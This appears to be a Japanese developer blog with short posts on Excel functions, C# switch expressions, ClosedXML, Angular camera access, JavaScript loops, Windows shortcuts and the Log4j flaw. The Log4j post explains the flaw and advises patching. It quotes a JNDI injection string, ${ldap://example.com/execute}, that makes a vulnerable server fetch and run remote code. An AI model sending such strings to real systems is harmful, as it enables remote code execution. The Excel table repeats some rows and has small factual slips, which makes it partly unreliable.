10yroの開発日記

株式会社10yro(トイロ)のエンジニアが書いています

【Excel】新関数の紹介

Excel 2021で追加になった関数や機能をご紹介します。
2021以前の関数についても記載しますが結構な数があります。
気になる関数や活用できそうな関数は、今のうちにチェックして、実際に使用してみてください。今回は実際の使用方法は記載しないので紹介のみとなります。
Microsoft 365のみでしか使用できませんが、LAMBDAを使用すれば、新たな関数を独自に定義できる(作成できる)ようになりました。

種類 関数 説明 Excel 2021 Microsoft 365
文字列 ASC/JIS 全角文字または半角文字に変換する
文字列 CHAR/UNICHAR 文字コードに対応する文字を返す
文字列 CLEAN 印刷できない文字を削除する
文字列 CODE/UNICODE 文字コードを調べる
文字列 CONCATENATE 文字列を連結する
文字列 EXACT 文字列が等しいかどうかを調べる
文字列 FIND/FINDB 文字列の位置またはバイト位置を調べる
文字列 LAMBDA 変数と数式を指定し、関数として利用する
文字列 LEFT/LEFTB 左端から何文字かまたは何バイトかを取り出す
文字列 LEN/LENB 文字列の文字数またはバイト数を求める
文字列 LET 名前を付けた計算結果や値を関数内で利用する
文字列 MID/MIDB 指定した位置から何文字かまたは何バイトかを取り出す
文字列 NUMBERSTRING 数値を漢数字の文字列に変換する
文字列 PHONETIC ふりがなを取り出す
文字列 PROPER 英単語の先頭文字だけを大文字に変換する
文字列 REPLACE/REPLACEB 指定した文字数またはバイト数の文字列を置き換える
文字列 REPT 指定した回数だけ文字列を繰り返す
文字列 RIGHT/RIGHTB 右端から何文字かまたは何バイトかを取り出す
文字列 SEARCH/SEARCHB 文字列の位置またはバイト位置を調べる
文字列 SUBSTITUTE 検索した文字列を置き換える
文字列 TEXT 数値に表示形式を適用した文字列を返す
文字列 TEXTJOIN 区切り記号を挿入しながら複数の文字列を連結する
文字列 TRIM 余計な空白文字を削除する
文字列 UPPER/LOWER 英字を大文字または小文字に変換する
数値 ABS 絶対値を求める
数値 AGGREGATE さまざまな集計値を求める
数値 AVERAGE/AVERAGEA 数値またはデータの平均値を求める
数値 AVERAGEIF 条件を指定して数値の平均を求める
数値 AVERAGEIFS 複数の条件を指定して数値の平均を求める
数値 CEILING 数値を基準値の倍数に切り上げる
数値 COS 余弦を求める
数値 COUNT/COUNTA 数値や日付、時刻またはデータの個数を求める
数値 COUNTBLANK 空白セルの個数を求める
数値 COUNTIF 条件に一致するデータの個数を求める
数値 COUNTIFS 複数の条件に一致するデータの個数を求める
数値 DAVERAGE 条件を満たすセルの平均を求める
数値 DCOUNT 条件を満たす数値の個数を求める
数値 DCOUNTA 条件を満たす空白以外のセルの個数を求める
数値 DEGREES ラジアンを度に変換する
数値 DSUM 条件を満たすセルの合計を求める
数値 EVEN/ODD 最も近い偶数または奇数になるように切り上げる
数値 FIXED 数値に桁区切り記号と小数点を付ける
数値 FLOOR 数値を基準値の倍数に切り下げる
数値 FREQUENCY 区間に含まれる値の個数を求める
数値 INT 小数点以下を切り捨てる
数値 LARGE 大きいほうから何番目かの値を求める
数値 MAX/MAXA 数値またはデータの最大値を求める
数値 MEDIAN 数値の中央値を求める
数値 MIN/MINA 数値またはデータの最小値を求める
数値 MOD 余りを求める
数値 MODE/MODE.SNGL 数値の最頻値を求める
数値 MODE.MULT 複数の最頻値を求める
数値 MROUND 指定した数値の倍数になるように丸める
数値 PRODUCT 積を求める
数値 QUOTIENT 整数商を求める
数値 RADIANS 度をラジアンに変換する
数値 RAND 乱数を発生させる(0以上1未満の整数)
数値 RANDARRAY 乱数が入った配列を作成する
数値 RANDBETWEEN 乱数を発生させる(整数)
数値 RANK/RANK.EQ 順位を求める(同じ値のときは最上位の順位を返す)
数値 RANK.AVG 順位を求める(同じ値のときは平均値の順位を返す)
数値 ROUND 指定した桁数で四捨五入する
数値 ROUNDDOWN/TRUNC 指定した桁数で切り捨てる
数値 ROUNDUP 指定した桁数で切り上げる
数値 SEQUENCE 等差数列が入った配列を作成する
数値 SIN 正弦を求める
数値 SMALL 小さいほうから何番目かの値を求める
数値 SUBTOTAL さまざまな集計値を求める
数値 SUM 数値を合計する
数値 SUMIF 条件を指定して数値を合計する
数値 SUMIFS 複数の条件を指定して数値を合計する
数値 SUMPRODUCT 配列要素の積を合計する
数値 SUMPRODUCT 配列要素の積を合計する
数値 TAN 正接を求める
検索 ADDRESS 行番号と列番号からセル参照の文字列を求める
検索 ADDRESS 行番号と列番号からセル参照の文字列を求める
検索 CHOOSE 引数のリストから値を選ぶ
検索 COLUMN セルの列番号を求める
検索 COLUMNS 列数を求める
検索 FILTER 条件に一致する行を抽出する
検索 FIELDVALUE 株価データや地理データの値を取り出す
検索 HLOOKUP 範囲を横方向に検索する
検索 HYPERLINK ハイパーリンクを作成する
検索 INDEX 行と列で指定した位置の値を求める
検索 INDIRECT 参照文字列をもとにセルを間接参照する
検索 INDIRECT 参照文字列をもとにセルを間接参照する
検索 LOOKUP 1行または1列の範囲を検索する
検索 MATCH 検索値の相対位置を求める
検索 OFFSET 行と列で指定したセルのセル参照を求める
検索 ROW セルの行番号を求める
検索 ROWS 行数を求める
検索 SORT データを並べて取り出す
検索 SORTBY データを複数の基準で並べて取り出す
検索 TRANSPOSE 行と列の位置を入れ替える
検索 TRANSPOSE 行と列の位置を入れ替える
検索 UNIQUE 重複するデータをまとめる
検索 VLOOKUP 範囲を縦方向に検索する
検索 XMATCH 検索値の相対位置を求める
検索 XLOOKUP 範囲を下に向かって検索し対応する値を返す
日付/時刻 DATE 年、月、日から日付を求める
日付/時刻 DATEDIF 期間内の年数、月数、日数を求める
日付/時刻 DATESTRING 日付を和暦に変換する
日付/時刻 DATEVALUE 日付を表す文字列からシリアル値を求める
日付/時刻 DAY 日付から「日」を取り出す
日付/時刻 EDATE 数カ月前や数カ月後の日付を求める
日付/時刻 EOMONTH 数カ月前や数カ月後の月末を求める
日付/時刻 HOUR 時刻から「時」を取り出す
日付/時刻 ISOWEEKNUM ISO8601方式で日付が何週目かを求める
日付/時刻 MINUTE 時刻から「分」を取り出す
日付/時刻 MONTH 日付から「月」を取り出す
日付/時刻 NETWORKDAYS 土日と祭日を除外して期間内の日数を求める
日付/時刻 NETWORKDAYS.INTL 指定した休日を除外して期間内の日数を求める
日付/時刻 NOW/TODAY 現在の日付、または現在の日付と時刻を求める
日付/時刻 SECOND 時刻から「秒」を取り出す
日付/時刻 TEXT 数値に表示形式を適用した文字列を返す
日付/時刻 TEXT 数値に表示形式を適用した文字列を返す
日付/時刻 TIME 時、分、秒から時刻を求める
日付/時刻 TIMEVALUE 時刻を表す文字列からシリアル値を求める
日付/時刻 WEEKDAY 日付から曜日を取り出す
日付/時刻 WEEKDAY 日付から曜日を取り出す
日付/時刻 WEEKNUM 日付が何週目かを求める
日付/時刻 WEEKNUM 日付が何週目かを求める
日付/時刻 WORKDAY 土日と祭日を除外して期日を求める
日付/時刻 WORKDAY.INTL 指定した休日を除外して期日を求める
日付/時刻 YEAR 日付から「年」を取り出す
セル CELL セルの情報を得る
セル FORMULATEXT 数式を取り出す
セル INFO 現在の操作環境についての情報を得る
セル ISBLANK 空白セルかどうかを調べる
セル ISEVEN/ISODD 偶数か奇数かどうかを調べる
セル ISFORMULA 数式かどうかを調べる
セル ISLOGICAL 論理値かどうかを調べる
セル ISTEXT/ISNONTEXT 文字列か文字列以外かどうかを調べる
セル ISNUMBER 数値かどうかを調べる
セル TYPE データの種類を調べる
エラー処理 IF 条件によって利用する式を変える
エラー処理 IFERROR/IFNA エラーの場合に返す値を指定する
エラー処理 ISERROR/ISERR エラー値かどうかを調べる

support.microsoft.com support.microsoft.com

C# 8.0 のswitch式について

switch式

C# 8.0から、switch式という機能が追加されました。

従来のswitch構文は、C言語の構文を踏襲したもので、ちょっと使いにくかったのですが、シンプルな式として書けるようになりました。

構文としては、以下のようになります。

変数 switch
{
    パターン1 => 式1, ・・・パターンn => 式n,  
}

例えば、、、

現在の月によって、以下の文字をコンソールに出力するコードを用意します。

  • 1~4月の場合、月を英語(略語)で出力
  • 7~8月の場合、「summer vacation!!!」を出力
  • 上記以外の月の場合、数字で「〇月」を出力

従来のswitch構文の場合

    int month = DateTime.Now.Month;
    string str;

    switch (month)
    {
        case 1:
            str = "Jan.";
            break;
        case 2:
            str = "Feb.";
            break;
        case 3:
            str = "Mar.";
            break;
        case 4:
            str = "Apr.";
            break;
        case 7:
        case 8:
            str = "summer vacation!!!";
            break;
        default:
            str = month + "月";
            break;
    }

    Console.WriteLine(str);

これをC# 8.0のswitch式で書き換えると、以下のようになります。

    int month = DateTime.Now.Month;
    var str = month switch
    {
        1 => "Jan.",
        2 => "Feb.",
        3 => "Mar.",
        4 => "Apr.",
        _ when month == 7 || month == 8 => "summer vacation!!!",
        _ => month + "月"
    };

    Console.WriteLine(str);

caseやbreakなどは不要となり、ダラダラと書かなくて済みます。

また、defaultの処理は、_(アンダースコア)とマッチさせます。

以上、switch式の備忘録でした。

C#でClosedXMLを使ってExcelを操作する

今回はC#Microsoft OfficeExcelを利用する場合のサンプルです。

やり方はいくつかあるかと思いますが、今回はClosedXMLというパッケージを利用します。

ClosedXMLのインストール

NuGetからClosedXMLをインストールします。
簡単ですね。

f:id:nack10:20211220204810p:plain

ExcelのBookを新規作成する

以下はClosedXMLを使ってExcelのBookを新規作成、Sheetを追加し、セル(B2)に値をセットしています。
また、B2に罫線も引きました。

上記を実行すると、以下のExcelが保存されました。

f:id:nack10:20211221085124p:plain

ExcelのBookのSheetを読み取る

今度は上記で作成したBookからCell B2の値を読み取ってコンソールに表示します。

上記を実行すると下記のようにCell B2の値「Closed XML Sample」が出力されました。

f:id:nack10:20211221085348p:plain

まとめ

C#Excelを操作したい場合はClosedXMLを使うのがオススメです。
ClosedXMLの使い方は以下の公式のWikiを参考にすると良いと思います。

github.com

【Angular】ブラウザでカメラを利用する

Angular アプリケーションでデバイスのカメラを利用する方法を記載します。

Angular でのカメラ利用は Navigator.mediaDevices を利用すれば実現できます。

各ブラウザの対応状況については以下を参照下さい。 https://developer.mozilla.org/ja/docs/Web/API/Navigator/mediaDevices

1. <video>を用意する。

まずはHTML側に<video> を配置します。

そして、それぞれのElementをViewChildとして定義しておきます。

HTML

<video id="camera" #camera autoplay></video>

TS

@ViewChild('camera') camera?: ElementRef;
2. カメラを起動する処理を追加

次にカメラ起動に関する処理を記載します。

カメラを起動するには MediaDevices.getUserMedia() を利用します。

getUserMedia() の引数として MediaStreamConstraintsを定義しておきます。(引数に直接指定しても問題ないです。)

constraints: MediaStreamConstraints = {
    audio: false,
    video: {
        //  environment : Rear camera / user : Self-view camera
        facingMode: 'environment' as VideoFacingModeEnum,
    },
};

<video>のsrcObjectに対し取得したMediaStreamをセットします。

カメラを起動する処理は AfterViewInit 等のタイミングで呼び出せば良いと思います。

if (!navigator.mediaDevices) {
    // 【navigator.mediaDevicesが取得できない場合の処理】
    return;
}
navigator.mediaDevices
    .getUserMedia(this.constraints)
    .then((stream: MediaStream) => {
        if (this.camera) {
            this.camera.nativeElement.srcObject = stream;
        }
    })
    .catch((error) => {
        // 【エラーが発生した場合の処理】
    });
3. カメラを停止する処理を追加

OnDestroy 等カメラを停止したいタイミングで MediaStreamTrack.stop()をコールします。

if (this.camera?.nativeElement.srcObject) {
    const track = this.camera.nativeElement.srcObject.getTracks()[0] as MediaStreamTrack;
    track.stop();
}
4. 撮影処理を追加

これで基本的にカメラの起動/停止ができると思うので

後は撮影処理を実装すればカメラ機能として利用できます。

以下は撮影した画像をData URLとして取得する例です。(<canvas>を利用しています。)

HTML

<canvas id="canvas" #canvas></canvas>

TS

let width = this.camera?.nativeElement.clientWidth;
let height = this.camera?.nativeElement.clientHeight;

if (this.canvas) {
    const context = this.canvas.nativeElement.getContext('2d') as CanvasRenderingContext2D;
    this.canvas.nativeElement.width = width;
    this.canvas.nativeElement.height = height;
    const dataUrl = this.canvas.nativeElement.toDataURL(
        context.drawImage(this.camera?.nativeElement, 0, 0, width, height)
    );

    this.dialogRef.close(dataUrl);
}
注意点

ブラウザのカメラはセキュリティ上、基本的にHTTPSの場合かローカル(localhost)の場合のみ利用できるようになっており、 HTTPでは利用できません。(navigator.mediaDevices が取得できません。)

サンプル

以下サンプルとなります。

※ここではカメラをダイアログ表示(全画面)するものしMatDialogRefを入れています。

HTML

<video id="camera" #camera autoplay></video>
<canvas id="canvas" #canvas></canvas>

※<button>や<img>等 撮影ボタンや必要に応じて閉じるボタン等を配置

TS

export class CameraComponent implements AfterViewInit, OnDestroy {
    @ViewChild('camera') camera?: ElementRef;
    @ViewChild('canvas') canvas?: ElementRef;
    
    constraints: MediaStreamConstraints = {
        audio: false,
        video: {
            //  environment : Rear camera / user : Self-view camera
            facingMode: 'environment' as VideoFacingModeEnum,
        },
    };
    
    constructor(private dialog: MatDialog, private dialogRef: MatDialogRef<CameraComponent>) {}
    
    ngAfterViewInit(): void {
        this.startCamera();
    }

    ngOnDestroy(): void {
        this.stopCamera();
    }

    closeDialog() {
        this.dialogRef.close();
    }
    
    startCamera() {
        if (!navigator.mediaDevices) {
            alert('camera is not supported.');
            return;
        }
        navigator.mediaDevices
            .getUserMedia(this.constraints)
            .then((stream: MediaStream) => {
                if (this.camera) {
                    this.camera.nativeElement.srcObject = stream;
                }
            })
            .catch((error) => {
                // 【エラーが発生した場合の処理】
            });
    }
    
    stopCamera() {
        if (this.camera?.nativeElement.srcObject) {
            const track = this.camera.nativeElement.srcObject.getTracks()[0] as MediaStreamTrack;
            track.stop();
        }
    }
    
    shoot() {
        let width = this.camera?.nativeElement.clientWidth;
        let height = this.camera?.nativeElement.clientHeight;

        if (this.canvas) {
            const context = this.canvas.nativeElement.getContext('2d') as CanvasRenderingContext2D;
            this.canvas.nativeElement.width = width;
            this.canvas.nativeElement.height = height;
            const dataUrl = this.canvas.nativeElement.toDataURL(
                context.drawImage(this.camera?.nativeElement, 0, 0, width, height)
            );

            this.dialogRef.close(dataUrl);
        }
    }
}

log4jの脆弱性について

みなさんMinecraftしてますか?

私は飽きたりハマったりの繰り返しで数年やってますが楽しいですよね。

ちなみに世界一売れてるゲームらしいですよ。

先日、有名ライブラリのlog4jで任意のコードが実行できる脆弱性が先日発見され、 Minecraftでもこの脆弱性を利用した攻撃があり話題になりましたね。

詳細は↓を。

https://www.ipa.go.jp/security/ciadr/vul/alert20211213.html

って事で少し調べてみました。

原因


ログ出力する際に特定の文字列の場合は変数に置き換える機能があり、この置き換える機能がネットワーク経由でも実行可能とである為、任意のコードが実行可能となっています。( JNDI lookupと言いLDAP を利用する仕組みのようです) ざっくりですが、例えば${ldap://example.com/execute}をヘッダーに含めてリクエストを行いログに出力されると任意のJava Classファイルをダウンロードし実行されます。

影響

Log4jをシステムで使っていなくても、ライブラリが使用してたりするので影響範囲はかなり広いです。

また攻撃手法が公開されているので、早急にlog4jのバージョンアップをするかJndiLookup機能を無効かするのが良いです。

ちなみにMinecraftは公式パッチが早々にリリースされてました。

この手の脆弱性は、年末年始を気楽の過ごせるように早急に対応するのがいいですね!

【JavaScript】for文(繰り返し処理)の違い

JavaScriptに関わらず、どの言語でも「同じ処理を繰り返したい」ということが必ずあります。
その代表的な繰り返し処理のfor文の違いについてまとめました。

1. for

初期のころから使われている一般的な繰り返し処理で、配列を処理する方法です。
continue(スキップ)、break(終了)が使用できます。
構文

for ([初期化式]; [条件式]; [加算式])

サンプル

const list = ['あ', 'い', 'う', 'え', 'お'];
for (let i = 0; i < list.length; i++) {
  console.log(`${i}:${list[i]}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

2. for in

オブジェクトにあるすべてのプロパティを処理する方法です。
※処理順序が保証されないため、インデックスの順序が重要になる配列には使用しない
continue(スキップ)、break(終了)が使用できます。
構文

 for (変数 in オブジェクト)

サンプル(配列)
変数 prop はインデックスになる。

const list = ['あ', 'い', 'う', 'え', 'お'];
for (const prop in list) {
  console.log(`${prop}:${list[prop]}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

サンプル(オブジェクト:連想配列)
変数 prop はプロパティ名になる。

const obj = {
  a: 'あいうえお',
  ka: 'かきくけこ',
  sa: 'さしすせそ',
  ta: 'たちつてと',
  na: 'なにぬねの'
};
for (const prop in obj) {
  console.log(`${prop}:${obj[prop]}`);
}

実行結果

a:あいうえお
ka:かきくけこ
sa:さしすせそ
ta:たちつてと
na:なにぬねの

developer.mozilla.org

3. for of

オブジェクトにあるすべてのプロパティを処理する方法です。
continue(スキップ)、break(終了)が使用できます。
構文

 for (変数 of オブジェクト)

サンプル
変数 prop はプロパティ値になる。

const list = ['あ', 'い', 'う', 'え', 'お'];
for (const [index, prop] of list.entries()) {
  console.log(`${index}:${prop}`);
}

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

4. forEach

指定したコールバック関数を配列の要素ごとに処理する。
continue(スキップ)、break(終了)が使用できない。returnもコールバック関数内で処理されるだけなので、繰り返し処理の終了も行われない。
構文

arr.forEach(callback(currentValue[, index[, array]]) {
  // execute something
}[, thisArg]);

サンプル

const list = ['あ', 'い', 'う', 'え', 'お'];
list.forEach((value, index) => {
  console.log(`${index}:${value}`);
})

実行結果

0:あ
1:い
2:う
3:え
4:お

developer.mozilla.org

5. 処理速度

処理速度がどのくらい違うのか計測してみました。
ブラウザにより処理速度は違いますが、それでもforが圧倒的です。

Chrome Edge
for 0.092041015625 ms 0.088867187500 ms
forEach 0.233886718750 ms 0.187988281250 ms
for of 0.410888671875 ms 0.238037109375 ms
for in 0.870849609375 ms 0.565917968750 ms

処理時間はconsole.time(xxx)とconsole.time(xxx)で簡単に計測できます。 developer.mozilla.org developer.mozilla.org

【Windows】バッチファイルをタスクバーにピン留め&ショートカットキーで起動する

Windows上でよく使うバッチファイルをワンクリックで起動したい場合やショートカットキーですぐに起動したいときの小技です。

バッチファイルをタスクバーにピン留め

バッチファイルは、そのままだとピン留めできないため、ちょっとした一工夫が必要です。
①バッチファイルを右クリック→「ショートカットの作成」を選択

f:id:tomi510dev:20211125125929p:plain

②作成されたショートカットを右クリック→「プロパティ」を選択

f:id:tomi510dev:20211125131413p:plain

③リンク先の先頭に「cmd.exe /c 」(/cの後は半角スペース)を追加し、適用ボタンをクリック
f:id:tomi510dev:20211125131442p:plain

※「cmd.exe /c 」→「C:\Windows\system32\cmd.exe /c 」に自動的に書き換えられます

④適用したショートカットをタスクバーにピン留め
※ドラッグ&ドロップ、または右クリック→「タスクバーにピン留め」で配置可能

 

これでピン留めされたタスクバーからワンクリックで起動可能となります。
ちなみに、このショートカットであればスタートメニューにもピン留め可能です。

 

タスクバーにピン留めしたアプリをショートカットキーで起動する

タスクバーにピン留めしたアプリは、Windowsキー + 数字キーで起動可能です。

f:id:tomi510dev:20211125132050p:plain

タスクバー上に配置されたアイコンが左から順番に1~0まで番号が割り振られています。

例えば、一番右端にピン留めしたバッチファイルは、[Windows]キー + [0]キーで起動できます。

また、すでに起動済みの場合、ウィンドウが最小化されている場合や背面にある場合は前面に移動され、前面に表示されている場合は最小化されます。